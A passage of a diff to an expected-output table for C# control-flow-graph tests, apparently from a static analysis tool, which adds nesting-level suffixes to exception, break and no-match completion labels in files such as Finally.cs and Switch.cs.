| access to parameter b1 | false | -| Finally.cs:177:5:193:5 | {...} | Finally.cs:190:21:190:22 | access to parameter b1 | throw(Exception) [false] | -| Finally.cs:177:5:193:5 | {...} | Finally.cs:190:21:190:22 | access to parameter b1 | throw(ExceptionA) [false] | +| Finally.cs:177:5:193:5 | {...} | Finally.cs:190:21:190:22 | access to parameter b1 | throw(Exception) [false] (0) | +| Finally.cs:177:5:193:5 | {...} | Finally.cs:190:21:190:22 | access to parameter b1 | throw(ExceptionA) [false] (0) | | Finally.cs:177:5:193:5 | {...} | Finally.cs:190:25:190:47 | throw ...; | throw(ExceptionC) | | Finally.cs:178:9:192:9 | try {...} ... | Finally.cs:186:21:186:22 | access to parameter b2 | false | -| Finally.cs:178:9:192:9 | try {...} ... | Finally.cs:186:21:186:22 | access to parameter b2 | throw(Exception) [false] | -| Finally.cs:178:9:192:9 | try {...} ... | Finally.cs:186:21:186:22 | access to parameter b2 | throw(ExceptionA) [false] | -| Finally.cs:178:9:192:9 | try {...} ... | Finally.cs:188:13:191:13 | catch (...) {...} | throw(Exception) [no-match] | -| Finally.cs:178:9:192:9 | try {...} ... | Finally.cs:188:13:191:13 | catch (...) {...} | throw(ExceptionB) [no-match] | -| Finally.cs:178:9:192:9 | try {...} ... | Finally.cs:188:38:188:39 | access to parameter b2 | throw(Exception) [false] | -| Finally.cs:178:9:192:9 | try {...} ... | Finally.cs:188:38:188:39 | access to parameter b2 | throw(ExceptionB) [false] | +| Finally.cs:178:9:192:9 | try {...} ... | Finally.cs:186:21:186:22 | access to parameter b2 | throw(Exception) [false] (0) | +| Finally.cs:178:9:192:9 | try {...} ... | Finally.cs:186:21:186:22 | access to parameter b2 | throw(ExceptionA) [false] (0) | +| Finally.cs:178:9:192:9 | try {...} ... | Finally.cs:188:13:191:13 | catch (...) {...} | throw(Exception) [no-match] (0) | +| Finally.cs:178:9:192:9 | try {...} ... | Finally.cs:188:13:191:13 | catch (...) {...} | throw(ExceptionB) [no-match] (0) | +| Finally.cs:178:9:192:9 | try {...} ... | Finally.cs:188:38:188:39 | access to parameter b2 | throw(Exception) [false] (0) | +| Finally.cs:178:9:192:9 | try {...} ... | Finally.cs:188:38:188:39 | access to parameter b2 | throw(ExceptionB) [false] (0) | | Finally.cs:178:9:192:9 | try {...} ... | Finally.cs:190:21:190:22 | access to parameter b1 | false | -| Finally.cs:178:9:192:9 | try {...} ... | Finally.cs:190:21:190:22 | access to parameter b1 | throw(Exception) [false] | -| Finally.cs:178:9:192:9 | try {...} ... | Finally.cs:190:21:190:22 | access to parameter b1 | throw(ExceptionA) [false] | +| Finally.cs:178:9:192:9 | try {...} ... | Finally.cs:190:21:190:22 | access to parameter b1 | throw(Exception) [false] (0) | +| Finally.cs:178:9:192:9 | try {...} ... | Finally.cs:190:21:190:22 | access to parameter b1 | throw(ExceptionA) [false] (0) | | Finally.cs:178:9:192:9 | try {...} ... | Finally.cs:190:25:190:47 | throw ...; | throw(ExceptionC) | | Finally.cs:179:9:181:9 | {...} | Finally.cs:180:17:180:18 | access to parameter b1 | false | | Finally.cs:179:9:181:9 | {...} | Finally.cs:180:21:180:43 | throw ...; | throw(ExceptionA) | @@ -2086,17 +2086,17 @@ | Finally.cs:180:27:180:42 | object creation of type ExceptionA | Finally.cs:180:27:180:42 | object creation of type ExceptionA | normal | | Finally.cs:180:27:180:42 | object creation of type ExceptionA | Finally.cs:180:27:180:42 | object creation of type ExceptionA | throw(Exception) | | Finally.cs:183:9:192:9 | {...} | Finally.cs:186:21:186:22 | access to parameter b2 | false | -| Finally.cs:183:9:192:9 | {...} | Finally.cs:188:13:191:13 | catch (...) {...} | throw(Exception) [no-match] | -| Finally.cs:183:9:192:9 | {...} | Finally.cs:188:13:191:13 | catch (...) {...} | throw(ExceptionB) [no-match] | -| Finally.cs:183:9:192:9 | {...} | Finally.cs:188:38:188:39 | access to parameter b2 | throw(Exception) [false] | -| Finally.cs:183:9:192:9 | {...} | Finally.cs:188:38:188:39 | access to parameter b2 | throw(ExceptionB) [false] | +| Finally.cs:183:9:192:9 | {...} | Finally.cs:188:13:191:13 | catch (...) {...} | throw(Exception) [no-match] (0) | +| Finally.cs:183:9:192:9 | {...} | Finally.cs:188:13:191:13 | catch (...) {...} | throw(ExceptionB) [no-match] (0) | +| Finally.cs:183:9:192:9 | {...} | Finally.cs:188:38:188:39 | access to parameter b2 | throw(Exception) [false] (0) | +| Finally.cs:183:9:192:9 | {...} | Finally.cs:188:38:188:39 | access to parameter b2 | throw(ExceptionB) [false] (0) | | Finally.cs:183:9:192:9 | {...} | Finally.cs:190:21:190:22 | access to parameter b1 | false | | Finally.cs:183:9:192:9 | {...} | Finally.cs:190:25:190:47 | throw ...; | throw(ExceptionC) | | Finally.cs:184:13:191:13 | try {...} ... | Finally.cs:186:21:186:22 | access to parameter b2 | false | -| Finally.cs:184:13:191:13 | try {...} ... | Finally.cs:188:13:191:13 | catch (...) {...} | throw(Exception) [no-match] | -| Finally.cs:184:13:191:13 | try {...} ... | Finally.cs:188:13:191:13 | catch (...) {...} | throw(ExceptionB) [no-match] | -| Finally.cs:184:13:191:13 | try {...} ... | Finally.cs:188:38:188:39 | access to parameter b2 | throw(Exception) [false] | -| Finally.cs:184:13:191:13 | try {...} ... | Finally.cs:188:38:188:39 | access to parameter b2 | throw(ExceptionB) [false] | +| Finally.cs:184:13:191:13 | try {...} ... | Finally.cs:188:13:191:13 | catch (...) {...} | throw(Exception) [no-match] (0) | +| Finally.cs:184:13:191:13 | try {...} ... | Finally.cs:188:13:191:13 | catch (...) {...} | throw(ExceptionB) [no-match] (0) | +| Finally.cs:184:13:191:13 | try {...} ... | Finally.cs:188:38:188:39 | access to parameter b2 | throw(Exception) [false] (0) | +| Finally.cs:184:13:191:13 | try {...} ... | Finally.cs:188:38:188:39 | access to parameter b2 | throw(ExceptionB) [false] (0) | | Finally.cs:184:13:191:13 | try {...} ... | Finally.cs:190:21:190:22 | access to parameter b1 | false | | Finally.cs:184:13:191:13 | try {...} ... | Finally.cs:190:25:190:47 | throw ...; | throw(ExceptionC) | | Finally.cs:185:13:187:13 | {...} | Finally.cs:186:21:186:22 | access to parameter b2 | false | @@ -2111,10 +2111,10 @@ | Finally.cs:186:25:186:47 | throw ...; | Finally.cs:186:31:186:46 | object creation of type ExceptionB | throw(Exception) | | Finally.cs:186:31:186:46 | object creation of type ExceptionB | Finally.cs:186:31:186:46 | object creation of type ExceptionB | normal | | Finally.cs:186:31:186:46 | object creation of type ExceptionB | Finally.cs:186:31:186:46 | object creation of type ExceptionB | throw(Exception) | -| Finally.cs:188:13:191:13 | catch (...) {...} | Finally.cs:188:13:191:13 | catch (...) {...} | throw(Exception) [no-match] | -| Finally.cs:188:13:191:13 | catch (...) {...} | Finally.cs:188:13:191:13 | catch (...) {...} | throw(ExceptionB) [no-match] | -| Finally.cs:188:13:191:13 | catch (...) {...} | Finally.cs:188:38:188:39 | access to parameter b2 | throw(Exception) [false] | -| Finally.cs:188:13:191:13 | catch (...) {...} | Finally.cs:188:38:188:39 | access to parameter b2 | throw(ExceptionB) [false] | +| Finally.cs:188:13:191:13 | catch (...) {...} | Finally.cs:188:13:191:13 | catch (...) {...} | throw(Exception) [no-match] (0) | +| Finally.cs:188:13:191:13 | catch (...) {...} | Finally.cs:188:13:191:13 | catch (...) {...} | throw(ExceptionB) [no-match] (0) | +| Finally.cs:188:13:191:13 | catch (...) {...} | Finally.cs:188:38:188:39 | access to parameter b2 | throw(Exception) [false] (0) | +| Finally.cs:188:13:191:13 | catch (...) {...} | Finally.cs:188:38:188:39 | access to parameter b2 | throw(ExceptionB) [false] (0) | | Finally.cs:188:13:191:13 | catch (...) {...} | Finally.cs:190:21:190:22 | access to parameter b1 | false | | Finally.cs:188:13:191:13 | catch (...) {...} | Finally.cs:190:25:190:47 | throw ...; | throw(ExceptionC) | | Finally.cs:188:38:188:39 | access to parameter b2 | Finally.cs:188:38:188:39 | access to parameter b2 | false | @@ -2127,18 +2127,18 @@ | Finally.cs:190:21:190:22 | access to parameter b1 | Finally.cs:190:21:190:22 | access to parameter b1 | true | | Finally.cs:190:25:190:47 | throw ...; | Finally.cs:190:25:190:47 | throw ...; | throw(ExceptionC) | | Finally.cs:190:31:190:46 | object creation of type ExceptionC | Finally.cs:190:31:190:46 | object creation of type ExceptionC | normal | -| Finally.cs:196:5:214:5 | {...} | Finally.cs:209:21:209:22 | access to parameter b3 | throw(Exception) [false] | -| Finally.cs:196:5:214:5 | {...} | Finally.cs:209:21:209:22 | access to parameter b3 | throw(ExceptionB) [false] | +| Finally.cs:196:5:214:5 | {...} | Finally.cs:209:21:209:22 | access to parameter b3 | throw(Exception) [false] (1) | +| Finally.cs:196:5:214:5 | {...} | Finally.cs:209:21:209:22 | access to parameter b3 | throw(ExceptionB) [false] (1) | | Finally.cs:196:5:214:5 | {...} | Finally.cs:209:25:209:47 | throw ...; | throw(ExceptionC) | -| Finally.cs:196:5:214:5 | {...} | Finally.cs:211:13:211:28 | ... = ... | throw(Exception) [normal] | -| Finally.cs:196:5:214:5 | {...} | Finally.cs:211:13:211:28 | ... = ... | throw(ExceptionA) [normal] | +| Finally.cs:196:5:214:5 | {...} | Finally.cs:211:13:211:28 | ... = ... | throw(Exception) [normal] (0) | +| Finally.cs:196:5:214:5 | {...} | Finally.cs:211:13:211:28 | ... = ... | throw(ExceptionA) [normal] (0) | | Finally.cs:196:5:214:5 | {...} | Finally.cs:213:9:213:24 | ... = ... | normal | -| Finally.cs:197:9:212:9 | try {...} ... | Finally.cs:209:21:209:22 | access to parameter b3 | throw(Exception) [false] | -| Finally.cs:197:9:212:9 | try {...} ... | Finally.cs:209:21:209:22 | access to parameter b3 | throw(ExceptionB) [false] | +| Finally.cs:197:9:212:9 | try {...} ... | Finally.cs:209:21:209:22 | access to parameter b3 | throw(Exception) [false] (1) | +| Finally.cs:197:9:212:9 | try {...} ... | Finally.cs:209:21:209:22 | access to parameter b3 | throw(ExceptionB) [false] (1) | | Finally.cs:197:9:212:9 | try {...} ... | Finally.cs:209:25:209:47 | throw ...; | throw(ExceptionC) | | Finally.cs:197:9:212:9 | try {...} ... | Finally.cs:211:13:211:28 | ... = ... | normal | -| Finally.cs:197:9:212:9 | try {...} ... | Finally.cs:211:13:211:28 | ... = ... | throw(Exception) [normal] | -| Finally.cs:197:9:212:9 | try {...} ... | Finally.cs:211:13:211:28 | ... = ... | throw(ExceptionA) [normal] | +| Finally.cs:197:9:212:9 | try {...} ... | Finally.cs:211:13:211:28 | ... = ... | throw(Exception) [normal] (0) | +| Finally.cs:197:9:212:9 | try {...} ... | Finally.cs:211:13:211:28 | ... = ... | throw(ExceptionA) [normal] (0) | | Finally.cs:198:9:200:9 | {...} | Finally.cs:199:17:199:18 | access to parameter b1 | false | | Finally.cs:198:9:200:9 | {...} | Finally.cs:199:21:199:43 | throw ...; | throw(ExceptionA) | | Finally.cs:198:9:200:9 | {...} | Finally.cs:199:27:199:42 | object creation of type ExceptionA | throw(Exception) | @@ -2151,13 +2151,13 @@ | Finally.cs:199:21:199:43 | throw ...; | Finally.cs:199:27:199:42 | object creation of type ExceptionA | throw(Exception) | | Finally.cs:199:27:199:42 | object creation of type ExceptionA | Finally.cs:199:27:199:42 | object creation of type ExceptionA | normal | | Finally.cs:199:27:199:42 | object creation of type ExceptionA | Finally.cs:199:27:199:42 | object creation of type ExceptionA | throw(Exception) | -| Finally.cs:202:9:212:9 | {...} | Finally.cs:209:21:209:22 | access to parameter b3 | throw(Exception) [false] | -| Finally.cs:202:9:212:9 | {...} | Finally.cs:209:21:209:22 | access to parameter b3 | throw(ExceptionB) [false] | +| Finally.cs:202:9:212:9 | {...} | Finally.cs:209:21:209:22 | access to parameter b3 | throw(Exception) [false] (1) | +| Finally.cs:202:9:212:9 | {...} | Finally.cs:209:21:209:22 | access to parameter b3 | throw(ExceptionB) [false] (1) | | Finally.cs:202:9:212:9 | {...} | Finally.cs:209:25:209:47 | throw ...; | throw(ExceptionC) | | Finally.cs:202:9:212:9 | {...} | Finally.cs:211:13:211:28 | ... = ... | normal | | Finally.cs:203:13:210:13 | try {...} ... | Finally.cs:209:21:209:22 | access to parameter b3 | false | -| Finally.cs:203:13:210:13 | try {...} ... | Finally.cs:209:21:209:22 | access to parameter b3 | throw(Exception) [false] | -| Finally.cs:203:13:210:13 | try {...} ... | Finally.cs:209:21:209:22 | access to parameter b3 | throw(ExceptionB) [false] | +| Finally.cs:203:13:210:13 | try {...} ... | Finally.cs:209:21:209:22 | access to parameter b3 | throw(Exception) [false] (1) | +| Finally.cs:203:13:210:13 | try {...} ... | Finally.cs:209:21:209:22 | access to parameter b3 | throw(ExceptionB) [false] (1) | | Finally.cs:203:13:210:13 | try {...} ... | Finally.cs:209:25:209:47 | throw ...; | throw(ExceptionC) | | Finally.cs:204:13:206:13 | {...} | Finally.cs:205:21:205:22 | access to parameter b2 | false | | Finally.cs:204:13:206:13 | {...} | Finally.cs:205:25:205:47 | throw ...; | throw(ExceptionB) | @@ -2214,22 +2214,26 @@ | Finally.cs:230:9:230:33 | call to method WriteLine | Finally.cs:230:9:230:33 | call to method WriteLine | normal | | Finally.cs:230:9:230:34 | ...; | Finally.cs:230:9:230:33 | call to method WriteLine | normal | | Finally.cs:230:27:230:32 | "Done" | Finally.cs:230:27:230:32 | "Done" | normal | -| Finally.cs:234:5:261:5 | {...} | Finally.cs:258:13:258:46 | call to method WriteLine | throw(Exception) [normal] | -| Finally.cs:234:5:261:5 | {...} | Finally.cs:258:13:258:46 | call to method WriteLine | throw(ExceptionA) [normal] | -| Finally.cs:234:5:261:5 | {...} | Finally.cs:258:13:258:46 | call to method WriteLine | throw(OutOfMemoryException) [normal] | +| Finally.cs:234:5:261:5 | {...} | Finally.cs:258:13:258:46 | call to method WriteLine | throw(Exception) [normal] (0) | +| Finally.cs:234:5:261:5 | {...} | Finally.cs:258:13:258:46 | call to method WriteLine | throw(ExceptionA) [normal] (0) | +| Finally.cs:234:5:261:5 | {...} | Finally.cs:258:13:258:46 | call to method WriteLine | throw(OutOfMemoryException) [normal] (0) | | Finally.cs:234:5:261:5 | {...} | Finally.cs:260:9:260:33 | call to method WriteLine | normal | | Finally.cs:235:9:259:9 | try {...} ... | Finally.cs:258:13:258:46 | call to method WriteLine | normal | -| Finally.cs:235:9:259:9 | try {...} ... | Finally.cs:258:13:258:46 | call to method WriteLine | throw(Exception) [normal] | -| Finally.cs:235:9:259:9 | try {...} ... | Finally.cs:258:13:258:46 | call to method WriteLine | throw(ExceptionA) [normal] | -| Finally.cs:235:9:259:9 | try {...} ... | Finally.cs:258:13:258:46 | call to method WriteLine | throw(OutOfMemoryException) [normal] | -| Finally.cs:236:9:255:9 | {...} | Finally.cs:251:21:251:54 | call to method WriteLine | throw(Exception) [normal] | -| Finally.cs:236:9:255:9 | {...} | Finally.cs:251:21:251:54 | call to method WriteLine | throw(ExceptionA) [normal] | +| Finally.cs:235:9:259:9 | try {...} ... | Finally.cs:258:13:258:46 | call to method WriteLine | throw(Exception) [normal] (0) | +| Finally.cs:235:9:259:9 | try {...} ... | Finally.cs:258:13:258:46 | call to method WriteLine | throw(ExceptionA) [normal] (0) | +| Finally.cs:235:9:259:9 | try {...} ... | Finally.cs:258:13:258:46 | call to method WriteLine | throw(OutOfMemoryException) [normal] (0) | +| Finally.cs:236:9:255:9 | {...} | Finally.cs:251:21:251:54 | call to method WriteLine | throw(Exception) [normal] (0) | +| Finally.cs:236:9:255:9 | {...} | Finally.cs:251:21:251:54 | call to method WriteLine | throw(Exception) [normal] (1) | +| Finally.cs:236:9:255:9 | {...} | Finally.cs:251:21:251:54 | call to method WriteLine | throw(ExceptionA) [normal] (0) | +| Finally.cs:236:9:255:9 | {...} | Finally.cs:251:21:251:54 | call to method WriteLine | throw(ExceptionA) [normal] (1) | | Finally.cs:236:9:255:9 | {...} | Finally.cs:254:13:254:44 | call to method WriteLine | normal | | Finally.cs:236:9:255:9 | {...} | Finally.cs:254:13:254:44 | call to method WriteLine | throw(Exception) | | Finally.cs:236:9:255:9 | {...} | Finally.cs:254:31:254:43 | "Mid finally" | throw(OutOfMemoryException) | | Finally.cs:237:13:253:13 | try {...} ... | Finally.cs:251:21:251:54 | call to method WriteLine | normal | -| Finally.cs:237:13:253:13 | try {...} ... | Finally.cs:251:21:251:54 | call to method WriteLine | throw(Exception) [normal] | -| Finally.cs:237:13:253:13 | try {...} ... | Finally.cs:251:21:251:54 | call to method WriteLine | throw(ExceptionA) [normal] | +| Finally.cs:237:13:253:13 | try {...} ... | Finally.cs:251:21:251:54 | call to method WriteLine | throw(Exception) [normal] (0) | +| Finally.cs:237:13:253:13 | try {...} ... | Finally.cs:251:21:251:54 | call to method WriteLine | throw(Exception) [normal] (1) | +| Finally.cs:237:13:253:13 | try {...} ... | Finally.cs:251:21:251:54 | call to method WriteLine | throw(ExceptionA) [normal] (0) | +| Finally.cs:237:13:253:13 | try {...} ... | Finally.cs:251:21:251:54 | call to method WriteLine | throw(ExceptionA) [normal] (1) | | Finally.cs:238:13:241:13 | {...} | Finally.cs:239:21:239:22 | access to parameter b1 | false | | Finally.cs:238:13:241:13 | {...} | Finally.cs:240:21:240:43 | throw ...; | throw(ExceptionA) | | Finally.cs:238:13:241:13 | {...} | Finally.cs:240:27:240:42 | object creation of type ExceptionA | throw(Exception) | @@ -2243,11 +2247,11 @@ | Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:240:27:240:42 | object creation of type ExceptionA | normal | | Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:240:27:240:42 | object creation of type ExceptionA | throw(Exception) | | Finally.cs:243:13:253:13 | {...} | Finally.cs:251:21:251:54 | call to method WriteLine | normal | -| Finally.cs:243:13:253:13 | {...} | Finally.cs:251:21:251:54 | call to method WriteLine | throw(Exception) [normal] | -| Finally.cs:243:13:253:13 | {...} | Finally.cs:251:21:251:54 | call to method WriteLine | throw(ExceptionA) [normal] | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:251:21:251:54 | call to method WriteLine | throw(Exception) [normal] (1) | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:251:21:251:54 | call to method WriteLine | throw(ExceptionA) [normal] (1) | | Finally.cs:244:17:252:17 | try {...} ... | Finally.cs:251:21:251:54 | call to method WriteLine | normal | -| Finally.cs:244:17:252:17 | try {...} ... | Finally.cs:251:21:251:54 | call to method WriteLine | throw(Exception) [normal] | -| Finally.cs:244:17:252:17 | try {...} ... | Finally.cs:251:21:251:54 | call to method WriteLine | throw(ExceptionA) [normal] | +| Finally.cs:244:17:252:17 | try {...} ... | Finally.cs:251:21:251:54 | call to method WriteLine | throw(Exception) [normal] (1) | +| Finally.cs:244:17:252:17 | try {...} ... | Finally.cs:251:21:251:54 | call to method WriteLine | throw(ExceptionA) [normal] (1) | | Finally.cs:245:17:248:17 | {...} | Finally.cs:246:25:246:26 | access to parameter b2 | false | | Finally.cs:245:17:248:17 | {...} | Finally.cs:247:25:247:47 | throw ...; | throw(ExceptionA) | | Finally.cs:245:17:248:17 | {...} | Finally.cs:247:31:247:46 | object creation of type ExceptionA | throw(Exception) | @@ -2869,12 +2873,12 @@ | Patterns.cs:16:18:16:28 | ... is ... | Patterns.cs:16:18:16:28 | ... is ... | true | | Patterns.cs:16:23:16:28 | Object v1 | Patterns.cs:16:23:16:28 | Object v1 | normal | | Patterns.cs:17:9:18:9 | {...} | Patterns.cs:17:9:18:9 | {...} | normal | -| Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:23:17:23:22 | break; | normal [break] | -| Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:26:17:26:22 | break; | normal [break] | -| Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:29:17:29:22 | break; | normal [break] | -| Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:32:17:32:22 | break; | normal [break] | -| Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:34:17:34:22 | break; | normal [break] | -| Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:37:17:37:22 | break; | normal [break] | +| Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:23:17:23:22 | break; | normal [break] (0) | +| Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:26:17:26:22 | break; | normal [break] (0) | +| Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:29:17:29:22 | break; | normal [break] (0) | +| Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:32:17:32:22 | break; | normal [break] (0) | +| Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:34:17:34:22 | break; | normal [break] (0) | +| Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:37:17:37:22 | break; | normal [break] (0) | | Patterns.cs:20:17:20:17 | access to local variable o | Patterns.cs:20:17:20:17 | access to local variable o | normal | | Patterns.cs:22:13:22:23 | case ...: | Patterns.cs:22:18:22:22 | "xyz" | no-match | | Patterns.cs:22:13:22:23 | case ...: | Patterns.cs:23:17:23:22 | break; | break | @@ -3101,14 +3105,14 @@ | Switch.cs:37:17:37:23 | call to method Throw | Switch.cs:37:17:37:23 | call to method Throw | throw(Exception) | | Switch.cs:39:13:39:20 | default: | Switch.cs:40:17:40:23 | return ...; | return | | Switch.cs:40:17:40:23 | return ...; | Switch.cs:40:17:40:23 | return ...; | return | -| Switch.cs:45:5:53:5 | {...} | Switch.cs:49:17:49:22 | break; | normal [break] | +| Switch.cs:45:5:53:5 | {...} | Switch.cs:49:17:49:22 | break; | normal [break] (0) | | Switch.cs:45:5:53:5 | {...} | Switch.cs:50:18:50:21 | access to type Boolean | no-match | | Switch.cs:45:5:53:5 | {...} | Switch.cs:50:30:50:38 | ... != ... | false | -| Switch.cs:45:5:53:5 | {...} | Switch.cs:51:17:51:22 | break; | normal [break] | -| Switch.cs:46:9:52:9 | switch (...) {...} | Switch.cs:49:17:49:22 | break; | normal [break] | +| Switch.cs:45:5:53:5 | {...} | Switch.cs:51:17:51:22 | break; | normal [break] (0) | +| Switch.cs:46:9:52:9 | switch (...) {...} | Switch.cs:49:17:49:22 | break; | normal [break] (0) | | Switch.cs:46:9:52:9 | switch (...) {...} | Switch.cs:50:18:50:21 | access to type Boolean | no-match | | Switch.cs:46:9:52:9 | switch (...) {...} | Switch.cs:50:30:50:38 | ... != ... | false | -| Switch.cs:46:9:52:9 | switch (...) {...} | Switch.cs:51:17:51:22 | break; | normal [break] | +| Switch.cs:46:9:52:9 | switch (...) {...} | Switch.cs:51:17:51:22 | break; | normal [break] (0) | | Switch.cs:46:17:46:17 | access to parameter o | Switch.cs:46:17:46:17 | access to parameter o | normal | | Switch.cs:48:13:48:23 | case ...: | Switch.cs:48:18:48:20 | access to type Int32 | no-match | | Switch.cs:48:13:48:23 | case ...: | Switch.cs:49:17:49:22 | break; | break | @@ -3125,10 +3129,10 @@ | Switch.cs:50:30:50:38 | ... != ... | Switch.cs:50:30:50:38 | ... != ... | true | | Switch.cs:50:35:50:38 | null | Switch.cs:50:35:50:38 | null | normal | | Switch.cs:51:17:51:22 | break; | Switch.cs:51:17:51:22 | break; | break | -| Switch.cs:56:5:64:5 | {...} | Switch.cs:60:17:60:22 | break; | normal [break] | -| Switch.cs:56:5:64:5 | {...} | Switch.cs:62:17:62:22 | break; | normal [break] | -| Switch.cs:57:9:63:9 | switch (...) {...} | Switch.cs:60:17:60:22 | break; | normal [break] | -| Switch.cs:57:9:63:9 | switch (...) {...} | Switch.cs:62:17:62:22 | break; | normal [break] | +| Switch.cs:56:5:64:5 | {...} | Switch.cs:60:17:60:22 | break; | normal [break] (0) | +| Switch.cs:56:5:64:5 | {...} | Switch.cs:62:17:62:22 | break; | normal [break] (0) | +| Switch.cs:57:9:63:9 | switch (...) {...} | Switch.cs:60:17:60:22 | break; | normal [break] (0) | +| Switch.cs:57:9:63:9 | switch (...) {...} | Switch.cs:62:17:62:22 | break; | normal [break] (0) | | Switch.cs:57:17:57:17 | 1 | Switch.cs:57:17:57:17 | 1 | normal | | Switch.cs:57:17:57:21 | ... + ... | Switch.cs:57:17:57:21 | ... + ... | normal | | Switch.cs:57:21:57:21 | 2 | Switch.cs:57:21:57:21 | 2 | normal | @@ -3139,12 +3143,12 @@ | Switch.cs:61:13:61:19 | case ...: | Switch.cs:62:17:62:22 | break; | break | | Switch.cs:61:18:61:18 | 3 | Switch.cs:61:18:61:18 | 3 | match | | Switch.cs:62:17:62:22 | break; | Switch.cs:62:17:62:22 | break; | break | -| Switch.cs:67:5:75:5 | {...} | Switch.cs:71:17:71:22 | break; | normal [break] | +| Switch.cs:67:5:75:5 | {...} | Switch.cs:71:17:71:22 | break; | normal [break] (0) | | Switch.cs:67:5:75:5 | {...} | Switch.cs:72:18:72:19 | "" | no-match | -| Switch.cs:67:5:75:5 | {...} | Switch.cs:73:17:73:22 | break; | normal [break] | -| Switch.cs:68:9:74:9 | switch (...) {...} | Switch.cs:71:17:71:22 | break; | normal [break] | +| Switch.cs:67:5:75:5 | {...} | Switch.cs:73:17:73:22 | break; | normal [break] (0) | +| Switch.cs:68:9:74:9 | switch (...) {...} | Switch.cs:71:17:71:22 | break; | normal [break] (0) | | Switch.cs:68:9:74:9 | switch (...) {...} | Switch.cs:72:18:72:19 | "" | no-match | -| Switch.cs:68:9:74:9 | switch (...) {...} | Switch.cs:73:17:73:22 | break; | normal [break] | +| Switch.cs:68:9:74:9 | switch (...) {...} | Switch.cs:73:17:73:22 | break; | normal [break] (0) | | Switch.cs:68:17:68:25 | (...) ... | Switch.cs:68:17:68:25 | (...) ... | normal | | Switch.cs:68:25:68:25 | access to parameter s | Switch.cs:68:25:68:25 | access to parameter s | normal | | Switch.cs:70:13:70:23 | case ...: | Switch.cs:70:18:70:20 | access to type Int32 | no-match | @@ -3161,7 +3165,7 @@ | Switch.cs:78:5:89:5 | {...} | Switch.cs:88:9:88:21 | return ...; | return | | Switch.cs:79:9:87:9 | switch (...) {...} | Switch.cs:82:17:82:28 | return ...; | return | | Switch.cs:79:9:87:9 | switch (...) {...} | Switch.cs:83:18:83:18 | 2 | no-match | -| Switch.cs:79:9:87:9 | switch (...) {...} | Switch.cs:85:21:85:26 | break; | normal [break] | +| Switch.cs:79:9:87:9 | switch (...) {...} | Switch.cs:85:21:85:26 | break; | normal [break] (0) | | Switch.cs:79:9:87:9 | switch (...) {...} | Switch.cs:86:17:86:28 | return ...; | return | | Switch.cs:79:17:79:17 | access to parameter i | Switch.cs:79:17:79:17 | access to parameter i | normal | | Switch.cs:81:13:81:19 | case ...: | Switch.cs:81:18:81:18 | 1 | no-match | @@ -3341,23 +3345,23 @@ | Switch.cs:150:18:150:18 | 2 | Switch.cs:150:18:150:18 | 2 | no-match | | Switch.cs:150:21:150:29 | return ...; | Switch.cs:150:21:150:29 | return ...; | return | | Switch.cs:150:28:150:28 | 2 | Switch.cs:150:28:150:28 | 2 | normal | -| Switch.cs:155:5:161:5 | {...} | Switch.cs:156:41:156:45 | false | throw(InvalidOperationException) [no-match] | +| Switch.cs:155:5:161:5 | {...} | Switch.cs:156:41:156:45 | false | throw(InvalidOperationException) [no-match] (0) | | Switch.cs:155:5:161:5 | {...} | Switch.cs:158:13:158:48 | call to method WriteLine | normal | | Switch.cs:155:5:161:5 | {...} | Switch.cs:160:13:160:48 | call to method WriteLine | normal | | Switch.cs:156:9:156:55 | ... ...; | Switch.cs:156:13:156:54 | String s = ... | normal | -| Switch.cs:156:9:156:55 | ... ...; | Switch.cs:156:41:156:45 | false | throw(InvalidOperationException) [no-match] | +| Switch.cs:156:9:156:55 | ... ...; | Switch.cs:156:41:156:45 | false | throw(InvalidOperationException) [no-match] (0) | | Switch.cs:156:13:156:54 | String s = ... | Switch.cs:156:13:156:54 | String s = ... | normal | -| Switch.cs:156:13:156:54 | String s = ... | Switch.cs:156:41:156:45 | false | throw(InvalidOperationException) [no-match] | +| Switch.cs:156:13:156:54 | String s = ... | Switch.cs:156:41:156:45 | false | throw(InvalidOperationException) [no-match] (0) | | Switch.cs:156:17:156:17 | access to parameter b | Switch.cs:156:17:156:17 | access to parameter b | normal | | Switch.cs:156:17:156:54 | ... switch { ... } | Switch.cs:156:17:156:54 | ... switch { ... } | normal | -| Switch.cs:156:17:156:54 | ... switch { ... } | Switch.cs:156:41:156:45 | false | throw(InvalidOperationException) [no-match] | +| Switch.cs:156:17:156:54 | ... switch { ... } | Switch.cs:156:41:156:45 | false | throw(InvalidOperationException) [no-match] (0) | | Switch.cs:156:28:156:31 | true | Switch.cs:156:28:156:31 | true | match | | Switch.cs:156:28:156:31 | true | Switch.cs:156:28:156:31 | true | no-match | | Switch.cs:156:28:156:38 | ... => ... | Switch.cs:156:28:156:38 | ... => ... | normal | | Switch.cs:156:36:156:38 | "a" | Switch.cs:156:36:156:38 | "a" | normal | | Switch.cs:156:41:156:45 | false | Switch.cs:156:41:156:45 | false | match | | Switch.cs:156:41:156:45 | false | Switch.cs:156:41:156:45 | false | no-match | -| Switch.cs:156:41:156:52 | ... => ... | Switch.cs:156:41:156:45 | false | throw(InvalidOperationException) [no-match] | +| Switch.cs:156:41:156:52 | ... => ... | Switch.cs:156:41:156:45 | false | throw(InvalidOperationException) [no-match] (0) | | Switch.cs:156:41:156:52 | ... => ... | Switch.cs:156:41:156:52 | ... => ... | normal | | Switch.cs:156:50:156:52 | "b" | Switch.cs:156:50:156:52 | "b" | normal | | Switch.cs:157:9:160:49 | if (...) ... | Switch.cs:158:13:158:48 | call to method WriteLine | normal | @@ -3540,7 +3544,7 @@ | cflow.cs:38:5:68:5 | {...} | cflow.cs:64:21:64:55 | throw ...; | throw(NullReferenceException) | | 